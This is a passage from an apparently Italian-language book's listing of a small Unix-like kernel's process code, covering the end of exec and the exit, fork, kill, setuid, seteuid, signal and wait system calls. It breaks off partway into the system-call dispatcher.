1860364     // Save the envp[] location, needed in the following.
1860365     //
1860366     envp_address = new_sp;
1860367     //
1860368     // Put argv[] inside the stack, updating all the pointers.
1860369     //
1860370     new_sp -= 2; //-------------------------------------------------- NULL
1860371     stack_element = NULL;
1860372     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860373             (allocated_d.address + new_sp),
1860374             &stack_element, (sizeof stack_element), NULL);
1860375     //
1860376     p_off  = new_sp;                      //
1860377     p_off += 2 ;                          // Calculate memory pointers
1860378     p_off += (envc * (sizeof (char *)));  // from original relative
1860379     p_off += 2;                           // pointers, inside the
1860380     for (i = 0; i < argc; i++)            // arguments array of
1860381       {                                   // pointers.
1860382         argv[i] += p_off;                 //
1860383       }                                   //
1860384     //
```

```
1860385     new_sp -= (argc * (sizeof (char *))); //---------------------- *argv[]
1860386     mem_copy (address (seg_d (), (unsigned int) argv),
1860387               (allocated_d.address + new_sp),
1860388               (argc * (sizeof (char *))));
1860389     //
1860390     // Save the argv[] location, needed in the following.
1860391     //
1860392     argv_address = new_sp;
1860393     //
1860394     // Put the pointer to the array envp[].
1860395     //
1860396     new_sp -= 2; //---------------------------------------------------- argc
1860397     stack_element = envp_address;
1860398     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860399             (allocated_d.address + new_sp),
1860400             &stack_element, (sizeof stack_element), NULL);
1860401     //
1860402     // Put the pointer to the array argv[].
1860403     //
1860404     new_sp -= 2; //---------------------------------------------------- argc
1860405     stack_element = argv_address;
1860406     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860407             (allocated_d.address + new_sp),
1860408             &stack_element, (sizeof stack_element), NULL);
1860409     //
1860410     // Put argc inside the stack.
1860411     //
1860412     new_sp -= 2; //---------------------------------------------------- argc
1860413     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860414             (allocated_d.address + new_sp),
1860415             &argc, (sizeof argc), NULL);
1860416     //
1860417     // Set the rest of the stack.
1860418     //
1860419     new_sp -= 2; //--------------------------------------------------- FLAGS
1860420     stack_element = 0x0200;
1860421     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860422             (allocated_d.address + new_sp),
1860423             &stack_element, (sizeof stack_element), NULL);
1860424     new_sp -= 2; //------------------------------------------------------ CS
1860425     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860426             (allocated_d.address + new_sp),
1860427             &allocated_i.segment, (sizeof allocated_i.segment), NULL);
1860428     new_sp -= 2; //------------------------------------------------------ IP
1860429     stack_element = 0;
1860430     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860431             (allocated_d.address + new_sp),
1860432             &stack_element, (sizeof stack_element), NULL);
1860433     new_sp -= 2; //------------------------------------------------------ ES
1860434     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860435             (allocated_d.address + new_sp),
1860436             &allocated_d.segment, (sizeof allocated_d.segment), NULL);
```

```
1860437     new_sp -= 2; //---------------------------------------------------- DS
1860438     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860439             (allocated_d.address + new_sp),
1860440             &allocated_d.segment, (sizeof allocated_d.segment), NULL);
1860441     new_sp -= 2; //---------------------------------------------------- DI
1860442     stack_element = 0;
1860443     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860444             (allocated_d.address + new_sp),
1860445             &stack_element, (sizeof stack_element), NULL);
1860446     new_sp -= 2; //---------------------------------------------------- SI
1860447     stack_element = 0;
1860448     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860449             (allocated_d.address + new_sp),
1860450             &stack_element, (sizeof stack_element), NULL);
1860451     new_sp -= 2; //---------------------------------------------------- BP
1860452     stack_element = 0;
1860453     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860454             (allocated_d.address + new_sp),
1860455             &stack_element, (sizeof stack_element), NULL);
1860456     new_sp -= 2; //---------------------------------------------------- BX
1860457     stack_element = 0;
1860458     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860459             (allocated_d.address + new_sp),
1860460             &stack_element, (sizeof stack_element), NULL);
1860461     new_sp -= 2; //---------------------------------------------------- DX
1860462     stack_element = 0;
1860463     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860464             (allocated_d.address + new_sp),
1860465             &stack_element, (sizeof stack_element), NULL);
1860466     new_sp -= 2; //---------------------------------------------------- CX
1860467     stack_element = 0;
1860468     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860469             (allocated_d.address + new_sp),
1860470             &stack_element, (sizeof stack_element), NULL);
1860471     new_sp -= 2; //---------------------------------------------------- AX
1860472     stack_element = 0;
1860473     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1860474             (allocated_d.address + new_sp),
1860475             &stack_element, (sizeof stack_element), NULL);
1860476     //
1860477     // Close process file descriptors, if the `FD_CLOEXEC' flag
1860478     // is present.
1860479     //
1860480     for (fdn = 0; fdn < OPEN_MAX; fdn++)
1860481       {
1860482         if (proc_table[pid].fd[0].file != NULL)
1860483           {
1860484             if (proc_table[pid].fd[0].fd_flags & FD_CLOEXEC)
1860485               {
1860486                 fd_close (pid, fdn);
1860487               }
1860488           }
```

```
1860489       }
1860490     //
1860491     // Select device for standard I/O, if a standard I/O stream must be
1860492     // opened.
1860493     //
1860494     if (proc_table[pid].device_tty != 0)
1860495       {
1860496         device = proc_table[pid].device_tty;
1860497       }
1860498     else
1860499       {
1860500         device = DEV_TTY;
1860501       }
1860502     //
1860503     // Prepare missing standard file descriptors. The function
1860504     // 'file_stdio_dev_make()' arranges the value for 'errno' if
1860505     // necessary. If a standard file descriptor cannot be allocated,
1860506     // the program is left without it.
1860507     //
1860508     if (proc_table[pid].fd[0].file == NULL)
1860509       {
1860510         file = file_stdio_dev_make (device, S_IFCHR, O_RDONLY);
1860511         if (file != NULL)                                    // stdin
1860512           {
1860513             proc_table[pid].fd[0].fl_flags     = O_RDONLY;
1860514             proc_table[pid].fd[0].fd_flags     = 0;
1860515             proc_table[pid].fd[0].file         = file;
1860516             proc_table[pid].fd[0].file->offset = 0;
1860517           }
1860518       }
1860519     if (proc_table[pid].fd[1].file == NULL)
1860520       {
1860521         file = file_stdio_dev_make (device, S_IFCHR, O_WRONLY);
1860522         if (file != NULL)                                   // stdout
1860523           {
1860524             proc_table[pid].fd[1].fl_flags     = O_WRONLY;
1860525             proc_table[pid].fd[1].fd_flags     = 0;
1860526             proc_table[pid].fd[1].file         = file;
1860527             proc_table[pid].fd[1].file->offset = 0;
1860528           }
1860529       }
1860530     if (proc_table[pid].fd[2].file == NULL)
1860531       {
1860532         file = file_stdio_dev_make (device, S_IFCHR, O_WRONLY);
1860533         if (file != NULL)                                   // stderr
1860534           {
1860535             proc_table[pid].fd[2].fl_flags     = O_WRONLY;
1860536             proc_table[pid].fd[2].fd_flags     = 0;
1860537             proc_table[pid].fd[2].file         = file;
1860538             proc_table[pid].fd[2].file->offset = 0;
1860539           }
1860540       }
```

```
1860541     //
1860542     // Prepare to switch
1860543     //
1860544     previous_address_i = proc_table[pid].address_i;
1860545     previous_segment_i = proc_table[pid].segment_i;
1860546     previous_size_i    = proc_table[pid].size_i;
1860547     previous_address_d = proc_table[pid].address_d;
1860548     previous_segment_d = proc_table[pid].segment_d;
1860549     previous_size_d    = proc_table[pid].size_d;
1860550     //
1860551     proc_table[pid].address_i  = allocated_i.address;
1860552     proc_table[pid].segment_i  = allocated_i.segment;
1860553     proc_table[pid].size_i     = allocated_i.size;
1860554     proc_table[pid].address_d  = allocated_d.address;
1860555     proc_table[pid].segment_d  = allocated_d.segment;
1860556     proc_table[pid].size_d     = allocated_d.size;
1860557     proc_table[pid].sp         = new_sp;
1860558     strncpy (proc_table[pid].name, path, PATH_MAX);
1860559     //
1860560     // Ensure to have a terminated string.
1860561     //
1860562     proc_table[pid].name[PATH_MAX-1] = 0;
1860563     //
1860564     // Free data segment memory.
1860565     //
1860566     mb_free (previous_address_d, previous_size_d);
1860567     //
1860568     // Free code segment memory if it is
1860569     // different from the data segment.
1860570     //
1860571     if (previous_segment_i != previous_segment_d)
1860572       {
1860573         //
1860574         // Must verify if no other process is
1860575         // using the same memory.
1860576         //
1860577         for (proc_count = 0, extra = 0; extra < PROCESS_MAX; extra++)
1860578           {
1860579             if (proc_table[extra].status == PROC_EMPTY   ||
1860580                 proc_table[extra].status == PROC_ZOMBIE)
1860581               {
1860582                 continue;
1860583               }
1860584             if (previous_segment_i == proc_table[extra].segment_i)
1860585               {
1860586                 proc_count++;
1860587               }
1860588           }
1860589         if (proc_count == 0)
1860590           {
1860591             //
1860592             // The code segment can be released, because no other
```

```
1860593             // process is using it.
1860594             //
1860595             mb_free (previous_address_i, previous_size_i);
1860596           }
1860597       }
1860598     //
1860599     // Change the segment and the stack pointer, from the interrupt.
1860600     //
1860601     *segment_d = proc_table[pid].segment_d;
1860602     *sp        = proc_table[pid].sp;
1860603     //
1860604     return (0);
1860605 }
```

105.9.22 kernel/proc/proc_sys_exit.c

Si veda la sezione 104.8.21.

```
1870001 #include <kernel/proc.h>
1870002 #include <kernel/k_libc.h>
1870003 //----------------------------------------------------------------------
1870004 void
1870005 proc_sys_exit (pid_t pid, int status)
1870006 {
1870007   pid_t  child;
1870008   pid_t  parent = proc_table[pid].ppid;
1870009   pid_t  extra;
1870010   int    proc_count;
1870011   int    sigchld = 0;
1870012   int    fdn;
1870013   tty_t *tty;
1870014   //
1870015   proc_table[pid].status     = PROC_ZOMBIE;
1870016   proc_table[pid].ret        = status;
1870017   proc_table[pid].sig_status =  0;
1870018   proc_table[pid].sig_ignore =  0;
1870019   //
1870020   // Close files.
1870021   //
1870022   for (fdn = 0; fdn < OPEN_MAX; fdn++)
1870023     {
1870024       fd_close (pid, fdn);
1870025     }
1870026   //
1870027   // Close current directory.
1870028   //
1870029   inode_put (proc_table[pid].inode_cwd);
1870030   //
1870031   // Close the controlling terminal, if it is a process leader with
1870032   // such a terminal.
1870033   //
```

```
1870034     if (proc_table[pid].pgrp == pid && proc_table[pid].device_tty != 0)
1870035       {
1870036         tty = tty_reference (proc_table[pid].device_tty);
1870037         //
1870038         // Verify.
1870039         //
1870040         if (tty == NULL)
1870041           {
1870042             //
1870043             // Show a kernel message.
1870044             //
1870045             k_printf ("kernel alert: cannot find the terminal item "
1870046                       "for device 0x%04x!\n",
1870047                       (int) proc_table[pid].device_tty);
1870048           }
1870049         else if (tty->pgrp != pid)
1870050           {
1870051             //
1870052             // Show a kernel message.
1870053             //
1870054             k_printf ("kernel alert: terminal device 0x%04x should "
1870055                       "be associated to the process group %i, but it "
1870056                       "is instead related to process group %i!\n",
1870057                       (int) proc_table[pid].device_tty, (int) pid,
1870058                       (int) tty->pgrp);
1870059           }
1870060         else
1870061           {
1870062             tty->pgrp = 0;
1870063           }
1870064       }
1870065     //
1870066     // Free data segment memory.
1870067     //
1870068     mb_free (proc_table[pid].address_d, proc_table[pid].size_d);
1870069     //
1870070     // Free code segment memory if it is
1870071     // different from the data segment.
1870072     //
1870073     if (proc_table[pid].segment_i != proc_table[pid].segment_d)
1870074       {
1870075         //
1870076         // Must verify if no other process is using the same memory.
1870077         // The proc_count variable is incremented for processes
1870078         // active, ready or sleeping: the current process is already
1870079         // set as zombie, and is not counted.
1870080         //
1870081         for (proc_count = 0, extra = 0; extra < PROCESS_MAX; extra++)
1870082           {
1870083             if (proc_table[extra].status == PROC_EMPTY   ||
1870084                 proc_table[extra].status == PROC_ZOMBIE)
1870085               {
```

```
1870086                 continue;
1870087               }
1870088             if (proc_table[pid].segment_i == proc_table[extra].segment_i)
1870089               {
1870090                 proc_count++;
1870091               }
1870092           }
1870093         if (proc_count == 0)
1870094           {
1870095             //
1870096             // The code segment can be released, because no other
1870097             // process, except the current one (to be closed),
1870098             // is using it.
1870099             //
1870100             mb_free (proc_table[pid].address_i, proc_table[pid].size_i);
1870101           }
1870102       }
1870103     //
1870104     // Abandon children to 'init' ((pid_t) 1).
1870105     //
1870106     for (child = 1; child < PROCESS_MAX; child++)
1870107       {
1870108         if (   proc_table[child].status != PROC_EMPTY
1870109             && proc_table[child].ppid == pid)
1870110           {
1870111             proc_table[child].ppid = 1; // Son of 'init'.
1870112             if (proc_table[child].status == PROC_ZOMBIE)
1870113               {
1870114                 sigchld = 1;    // Must send a SIGCHLD to 'init'.
1870115               }
1870116           }
1870117       }
1870118     //
1870119     // SIGCHLD to 'init'.
1870120     //
1870121     if (   sigchld
1870122         && pid != 1
1870123         && proc_table[1].status != PROC_EMPTY
1870124         && proc_table[1].status != PROC_ZOMBIE)
1870125       {
1870126         proc_sig_on ((pid_t) 1, SIGCHLD);
1870127       }
1870128     //
1870129     // Announce to the parent the death of its child.
1870130     //
1870131     if (   pid != parent
1870132         && proc_table[parent].status != PROC_EMPTY)
1870133       {
1870134         proc_sig_on (parent, SIGCHLD);
1870135       }
1870136 }
```

105.9.23 kernel/proc/proc_sys_fork.c

Si veda la sezione 104.8.22.

```
1880001 #include <kernel/proc.h>
1880002 #include <errno.h>
1880003 //----------------------------------------------------------------------
1880004 pid_t
1880005 proc_sys_fork (pid_t ppid, uint16_t sp)
1880006 {
1880007     pid_t     pid;
1880008     pid_t     zombie;
1880009     memory_t  allocated_i;
1880010     memory_t  allocated_d;
1880011     int       status;
1880012     int       fdn;
1880013     //
1880014     // Find a free PID.
1880015     //
1880016     for (pid = 1; pid < PROCESS_MAX; pid++)
1880017       {
1880018         if (proc_table[pid].status == PROC_EMPTY)
1880019           {
1880020             break;
1880021           }
1880022       }
1880023     if (pid >= PROCESS_MAX)
1880024       {
1880025         //
1880026         // There is no free pid.
1880027         //
1880028         errset (ENOMEM);        // Not enough space.
1880029         return (-1);
1880030       }
1880031     //
1880032     // Before allocating a new process, must check if there are some
1880033     // zombie slots, still with original segment data: should reset
1880034     // it now!
1880035     //
1880036     for (zombie = 1; zombie < PROCESS_MAX; zombie++)
1880037       {
1880038         if (   proc_table[zombie].status == PROC_ZOMBIE
1880039             && proc_table[zombie].segment_d != -1)
1880040           {
1880041             proc_table[zombie].segment_i = -1;    // Reset
1880042             proc_table[zombie].address_i = -1L;   // memory
1880043             proc_table[zombie].size_i    =  0;    // allocation
1880044             proc_table[zombie].segment_d = -1;    // data
1880045             proc_table[zombie].address_d = -1L;   // to
1880046             proc_table[zombie].size_d    =  0;    // impossible
1880047             proc_table[zombie].sp        =  0;    // values.
1880048           }
1880049       }
```

```
1880050         //
1880051         // Allocate memory: code and data segments.
1880052         //
1880053         if (proc_table[ppid].segment_i == proc_table[ppid].segment_d)
1880054           {
1880055             //
1880056             // Code segment and Data segment are the same
1880057             // (same I&D).
1880058             //
1880059             status = mb_alloc_size (proc_table[ppid].size_i, &allocated_i);
1880060             if (status < 0)
1880061               {
1880062                 errset (ENOMEM);        // Not enough space.
1880063                 return ((pid_t) -1);
1880064               }
1880065             allocated_d.address = allocated_i.address;
1880066             allocated_d.segment = allocated_i.segment;
1880067             allocated_d.size    = allocated_i.size;
1880068           }
1880069         else
1880070           {
1880071             //
1880072             // Code segment and Data segment are different
1880073             // (different I&D).
1880074             // Only the data segment is allocated.
1880075             //
1880076             status = mb_alloc_size (proc_table[ppid].size_d, &allocated_d);
1880077             if (status < 0)
1880078               {
1880079                 errset (ENOMEM);        // Not enough space.
1880080                 return ((pid_t) -1);
1880081               }
1880082             //
1880083             // Code segment is the same from the parent process.
1880084             //
1880085             allocated_i.address = proc_table[ppid].address_i;
1880086             allocated_i.segment = proc_table[ppid].segment_i;
1880087             allocated_i.size    = proc_table[ppid].size_i;
1880088           }
1880089         //
1880090         // Copy the process in memory.
1880091         //
1880092         if (proc_table[ppid].segment_i == proc_table[ppid].segment_d)
1880093           {
1880094             //
1880095             // Code segment and data segment are the same:
1880096             // must copy all.
1880097             //
1880098             // Copy the code segment: if the size is zero,
1880099             // it means 0x10000 bytes (65536 bytes).
1880100             //
1880101             if (proc_table[ppid].size_i == 0)
```

```
1880102             {
1880103               //
1880104               // Copy 0x10000 bytes with two steps.
1880105               //
1880106               mem_copy (proc_table[ppid].address_i,
1880107                         allocated_i.address, 0x8000);
1880108               mem_copy ((proc_table[ppid].address_i + 0x8000),
1880109                         (allocated_i.address + 0x8000), 0x8000);
1880110             }
1880111           else
1880112             {
1880113               //
1880114               // Normal copy.
1880115               //
1880116               mem_copy (proc_table[ppid].address_i, allocated_i.address,
1880117                         proc_table[ppid].size_i);
1880118             }
1880119         }
1880120       else
1880121         {
1880122           //
1880123           // Code segment and data segment are different:
1880124           // copy only the data segment.
1880125           //
1880126           // Copy the data segment in memory: if the size is zero,
1880127           // it means 0x10000 bytes (65536 bytes).
1880128           //
1880129           if (proc_table[ppid].size_d == 0)
1880130             {
1880131               //
1880132               // Copy 0x10000 bytes with two steps.
1880133               //
1880134               mem_copy (proc_table[ppid].address_d,
1880135                         allocated_d.address, 0x8000);
1880136               mem_copy ((proc_table[ppid].address_d + 0x8000),
1880137                         (allocated_d.address + 0x8000), 0x8000);
1880138             }
1880139           else
1880140             {
1880141               //
1880142               // Normal copy.
1880143               //
1880144               mem_copy (proc_table[ppid].address_d, allocated_d.address,
1880145                         proc_table[ppid].size_d);
1880146             }
1880147         }
1880148       //
1880149       // Allocate the new PID.
1880150       //
1880151       proc_table[pid].ppid          = ppid;
1880152       proc_table[pid].pgrp          = proc_table[ppid].pgrp;
1880153       proc_table[pid].uid           = proc_table[ppid].uid;
```

```
1880154        proc_table[pid].euid          = proc_table[ppid].euid;
1880155        proc_table[pid].suid          = proc_table[ppid].suid;
1880156        proc_table[pid].device_tty    = proc_table[ppid].device_tty;
1880157        proc_table[pid].sig_status    = 0;
1880158        proc_table[pid].sig_ignore    = 0;
1880159        proc_table[pid].usage         = 0;
1880160        proc_table[pid].status        = PROC_CREATED;
1880161        proc_table[pid].wakeup_events = 0;
1880162        proc_table[pid].wakeup_signal = 0;
1880163        proc_table[pid].wakeup_timer  = 0;
1880164        proc_table[pid].segment_i     = allocated_i.segment;
1880165        proc_table[pid].address_i     = allocated_i.address;
1880166        proc_table[pid].size_i        = proc_table[ppid].size_i;
1880167        proc_table[pid].segment_d     = allocated_d.segment;
1880168        proc_table[pid].address_d     = allocated_d.address;
1880169        proc_table[pid].size_d        = proc_table[ppid].size_d;
1880170        proc_table[pid].sp            = sp;
1880171        proc_table[pid].ret           = 0;
1880172        proc_table[pid].inode_cwd     = proc_table[ppid].inode_cwd;
1880173        proc_table[pid].umask         = proc_table[ppid].umask;
1880174        strncpy (proc_table[pid].name,
1880175                 proc_table[ppid].name, PATH_MAX);
1880176        strncpy (proc_table[pid].path_cwd,
1880177                 proc_table[ppid].path_cwd, PATH_MAX);
1880178        //
1880179        // Increase inode references for the working directory.
1880180        //
1880181        proc_table[pid].inode_cwd->references++;
1880182        //
1880183        // Duplicate valid file descriptors.
1880184        //
1880185        for (fdn = 0; fdn < OPEN_MAX; fdn++)
1880186          {
1880187            if (   proc_table[ppid].fd[fdn].file != NULL
1880188                && proc_table[ppid].fd[fdn].file->inode != NULL)
1880189              {
1880190                //
1880191                // Copy to the forked process.
1880192                //
1880193                proc_table[pid].fd[fdn].fl_flags
1880194                    = proc_table[ppid].fd[fdn].fl_flags;
1880195                proc_table[pid].fd[fdn].fd_flags
1880196                    = proc_table[ppid].fd[fdn].fd_flags;
1880197                proc_table[pid].fd[fdn].file
1880198                    = proc_table[ppid].fd[fdn].file;
1880199                //
1880200                // Increment file reference.
1880201                //
1880202                proc_table[ppid].fd[fdn].file->references++;
1880203              }
1880204          }
1880205        //
```

```
1880206     // Change segment values inside the stack: DS==ES; CS.
1880207     //
1880208     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1880209             (allocated_d.address + proc_table[pid].sp + 14),
1880210             &allocated_d.segment, (sizeof allocated_d.segment), NULL);
1880211     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1880212             (allocated_d.address + proc_table[pid].sp + 16),
1880213             &allocated_d.segment, (sizeof allocated_d.segment), NULL);
1880214     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
1880215             (allocated_d.address + proc_table[pid].sp + 20),
1880216             &allocated_i.segment, (sizeof allocated_i.segment), NULL);
1880217     //
1880218     // Set it ready.
1880219     //
1880220     proc_table[pid].status  = PROC_READY;
1880221     //
1880222     // Return the new PID.
1880223     //
1880224     return (pid);
1880225 }
```

105.9.24 kernel/proc/proc_sys_kill.c

Si veda la sezione 104.8.23.

```
1890001 #include <kernel/proc.h>
1890002 #include <errno.h>
1890003 //----------------------------------------------------------------------
1890004 int
1890005 proc_sys_kill (pid_t pid_killer, pid_t pid_target, int sig)
1890006 {
1890007     uid_t euid = proc_table[pid_killer].euid;
1890008     uid_t uid  = proc_table[pid_killer].uid;
1890009     pid_t pgrp = proc_table[pid_killer].pgrp;
1890010     int   p;                    // Index inside the process table.
1890011     //
1890012     if (pid_target < -1)
1890013       {
1890014         errset (ESRCH);
1890015         return (-1);
1890016       }
1890017     else if (pid_target == -1)
1890018       {
1890019         if (sig == 0)
1890020           {
1890021             return (0);
1890022           }
1890023         if (euid == 0)
1890024           {
1890025             //
1890026             // Because 'pid_target' is qual to '-1' and the effective
```

```
1890027                 // user identity is ‘0’, then, all processes,
1890028                 // except the kernel and init, will receive the signal.
1890029                 //
1890030                 // The following scan starts from 2, to preserve the
1890031                 // kernel and init processes.
1890032                 //
1890033                 for (p = 2; p < PROCESS_MAX; p++)
1890034                   {
1890035                     if (   proc_table[p].status != PROC_EMPTY
1890036                         && proc_table[p].status != PROC_ZOMBIE)
1890037                       {
1890038                         proc_sig_on (p, sig);
1890039                       }
1890040                   }
1890041               }
1890042             else
1890043               {
1890044                 //
1890045                 // Because ‘pid_target’ is qual to ‘-1’, but the effective
1890046                 // user identity is not ‘0’, then, all processes owned
1890047                 // by the same effective user identity, will receive the
1890048                 // signal.
1890049                 //
1890050                 // The following scan starts from 1, to preserve the
1890051                 // kernel process.
1890052                 //
1890053                 for (p = 1; p < PROCESS_MAX; p++)
1890054                   {
1890055                     if (   proc_table[p].status != PROC_EMPTY
1890056                         && proc_table[p].status != PROC_ZOMBIE
1890057                         && proc_table[p].uid == euid)
1890058                       {
1890059                         proc_sig_on (p, sig);
1890060                       }
1890061                   }
1890062               }
1890063             return (0);
1890064           }
1890065         else if (pid_target == 0)
1890066           {
1890067             if (sig == 0)
1890068               {
1890069                 return (0);
1890070               }
1890071             //
1890072             // The following scan starts from 1, to preserve the
1890073             // kernel process.
1890074             //
1890075             for (p = 1; p < PROCESS_MAX; p++)
1890076               {
1890077                 if (   proc_table[p].status != PROC_EMPTY
1890078                     && proc_table[p].status != PROC_ZOMBIE
```

```
1890079                  && proc_table[p].pgrp == pgrp)
1890080                {
1890081                  proc_sig_on (p, sig);
1890082                }
1890083            }
1890084          return (0);
1890085        }
1890086      else if (pid_target >= PROCESS_MAX)
1890087        {
1890088          errset (ESRCH);
1890089          return (-1);
1890090        }
1890091      else // (pid_target > 0)
1890092        {
1890093          if (proc_table[pid_target].status == PROC_EMPTY  ||
1890094              proc_table[pid_target].status == PROC_ZOMBIE)
1890095            {
1890096              errset (ESRCH);
1890097              return (-1);
1890098            }
1890099          else if (uid  == proc_table[pid_target].uid   ||
1890100                   uid  == proc_table[pid_target].suid  ||
1890101                   euid == proc_table[pid_target].uid   ||
1890102                   euid == proc_table[pid_target].suid  ||
1890103                   euid == 0)
1890104            {
1890105              if (sig == 0)
1890106                {
1890107                  return (0);
1890108                }
1890109              else
1890110                {
1890111                  proc_sig_on (pid_target, sig);
1890112                  return (0);
1890113                }
1890114            }
1890115          else
1890116            {
1890117              errset (EPERM);
1890118              return (-1);
1890119            }
1890120        }
1890121  }
```

105.9.25 kernel/proc/proc_sys_seteuid.c

Si veda la sezione 104.8.24.

```
1900001 #include <kernel/proc.h>
1900002 #include <errno.h>
1900003 //----------------------------------------------------------------------
1900004 int
1900005 proc_sys_seteuid (pid_t pid, uid_t euid)
1900006 {
1900007   if (proc_table[pid].euid == 0)
1900008     {
1900009       proc_table[pid].euid = euid;
1900010       return (0);
1900011     }
1900012   else if (euid == proc_table[pid].euid)
1900013     {
1900014       return (0);
1900015     }
1900016   else if (euid == proc_table[pid].uid || euid == proc_table[pid].suid)
1900017     {
1900018       proc_table[pid].euid = euid;
1900019       return (0);
1900020     }
1900021   else
1900022     {
1900023       errset (EPERM);
1900024       return (-1);
1900025     }
1900026 }
```

105.9.26 kernel/proc/proc_sys_setuid.c

Si veda la sezione 104.8.25.

```
1910001 #include <kernel/proc.h>
1910002 #include <errno.h>
1910003 //----------------------------------------------------------------------
1910004 int
1910005 proc_sys_setuid (pid_t pid, uid_t uid)
1910006 {
1910007     if (proc_table[pid].euid == 0)
1910008       {
1910009         proc_table[pid].uid  = uid;
1910010         proc_table[pid].euid = uid;
1910011         proc_table[pid].suid = uid;
1910012         return (0);
1910013       }
1910014     else if (uid == proc_table[pid].euid)
1910015       {
1910016         return (0);
```

```
1910017         }
1910018       else if (uid == proc_table[pid].uid || uid == proc_table[pid].suid)
1910019         {
1910020           proc_table[pid].euid = uid;
1910021           return (0);
1910022         }
1910023       else
1910024         {
1910025           errset (EPERM);
1910026           return (-1);
1910027         }
1910028   }
```

105.9.27 kernel/proc/proc_sys_signal.c

Si veda la sezione 104.8.26.

```
1920001   #include <kernel/proc.h>
1920002   #include <errno.h>
1920003   //----------------------------------------------------------------------
1920004   sighandler_t
1920005   proc_sys_signal (pid_t pid, int sig, sighandler_t handler)
1920006   {
1920007       unsigned long int flag = 1L << (sig - 1);
1920008       sighandler_t      previous;
1920009
1920010       if (sig <= 0)
1920011         {
1920012           errset (EINVAL);
1920013           return (SIG_ERR);
1920014         }
1920015
1920016       if (proc_table[pid].sig_ignore & flag)
1920017         {
1920018           previous = SIG_IGN;
1920019         }
1920020       else
1920021         {
1920022           previous = SIG_DFL;
1920023         }
1920024
1920025       if (handler == SIG_DFL)
1920026         {
1920027           proc_table[pid].sig_ignore ^= flag;
1920028           return (previous);
1920029         }
1920030       else if (handler == SIG_IGN)
1920031         {
1920032           proc_table[pid].sig_ignore |= flag;
1920033           return (previous);
1920034         }
```

```
1920035     else
1920036       {
1920037         errset (EINVAL);
1920038         return (SIG_ERR);
1920039       }
1920040 }
```

105.9.28 kernel/proc/proc_sys_wait.c

Si veda la sezione 104.8.27.

```
1930001 #include <kernel/proc.h>
1930002 #include <errno.h>
1930003 //----------------------------------------------------------------------
1930004 pid_t
1930005 proc_sys_wait (pid_t pid, int *status)
1930006 {
1930007     pid_t  parent = pid;
1930008     pid_t  child;
1930009     int    child_available = 0;
1930010     //
1930011     // Find a dead child process.
1930012     //
1930013     for (child = 1; child < PROCESS_MAX; child++)
1930014       {
1930015         if (proc_table[child].ppid == parent)
1930016           {
1930017             child_available = 1;        // Child found!
1930018             if (proc_table[child].status == PROC_ZOMBIE)
1930019               {
1930020                 break;                  // It is dead!
1930021               }
1930022           }
1930023       }
1930024     //
1930025     // If the index 'child' is a valid process number,
1930026     // a dead child was found.
1930027     //
1930028     if (child < PROCESS_MAX)
1930029       {
1930030         *status = proc_table[child].ret;
1930031         proc_available (child);
1930032         return (child);
1930033       }
1930034     else
1930035       {
1930036         if (child_available)
1930037           {
1930038             //
1930039             // There are child, but all alive.
1930040             //
```

```
1930041                 // Go to sleep.
1930042                 //
1930043                 proc_table[parent].status         = PROC_SLEEPING;
1930044                 proc_table[parent].wakeup_events |= WAKEUP_EVENT_SIGNAL;
1930045                 proc_table[parent].wakeup_signal  = SIGCHLD;
1930046                 return ((pid_t) 0);
1930047               }
1930048             else
1930049               {
1930050                 //
1930051                 // There are no child at all.
1930052                 //
1930053                 errset (ECHILD);
1930054                 return ((pid_t) -1);
1930055               }
1930056           }
1930057   }
```

105.9.29 kernel/proc/proc_table.c

Si veda la sezione 104.8.7.

```
1940001 #include <kernel/proc.h>
1940002 //----------------------------------------------------------------------
1940003 proc_t   proc_table[PROCESS_MAX];
```

105.9.30 kernel/proc/sysroutine.c

Si veda la sezione 104.8.28.

```
1950001 #include <kernel/proc.h>
1950002 #include <errno.h>
1950003 #include <kernel/k_libc.h>
1950004 //----------------------------------------------------------------------
1950005 static void sysroutine_error_back (int *number, int *line,
1950006                                    char *file_name);
1950007 //----------------------------------------------------------------------
1950008 void
1950009 sysroutine (uint16_t *sp, segment_t *segment_d, uint16_t syscallnr,
1950010             uint16_t msg_off, uint16_t msg_size)
1950011 {
1950012   pid_t  pid      = proc_find (*segment_d);
1950013   addr_t msg_addr = address (*segment_d, msg_off);
1950014   //
1950015   // Inbox.
1950016   //
1950017   union {
1950018       sysmsg_chdir_t     chdir;
1950019       sysmsg_chmod_t     chmod;
```

```
1950020         sysmsg_chown_t      chown;
1950021         sysmsg_clock_t      clock;
1950022         sysmsg_close_t      close;
1950023         sysmsg_dup_t        dup;
1950024         sysmsg_dup2_t       dup2;
1950025         sysmsg_exec_t       exec;
1950026         sysmsg_exit_t       exit;
1950027         sysmsg_fchmod_t     fchmod;
1950028         sysmsg_fchown_t     fchown;
1950029         sysmsg_fcntl_t      fcntl;
1950030         sysmsg_fork_t       fork;
1950031         sysmsg_fstat_t      fstat;
1950032         sysmsg_kill_t       kill;
1950033         sysmsg_link_t       link;
1950034         sysmsg_lseek_t      lseek;
1950035         sysmsg_mkdir_t      mkdir;
1950036         sysmsg_mknod_t      mknod;
1950037         sysmsg_mount_t      mount;
1950038         sysmsg_open_t       open;
1950039         sysmsg_read_t       read;
1950040         sysmsg_seteuid_t    seteuid;
1950041         sysmsg_setuid_t     setuid;
1950042         sysmsg_signal_t     signal;
1950043         sysmsg_sleep_t      sleep;
1950044         sysmsg_stat_t       stat;
1950045         sysmsg_stime_t      stime;
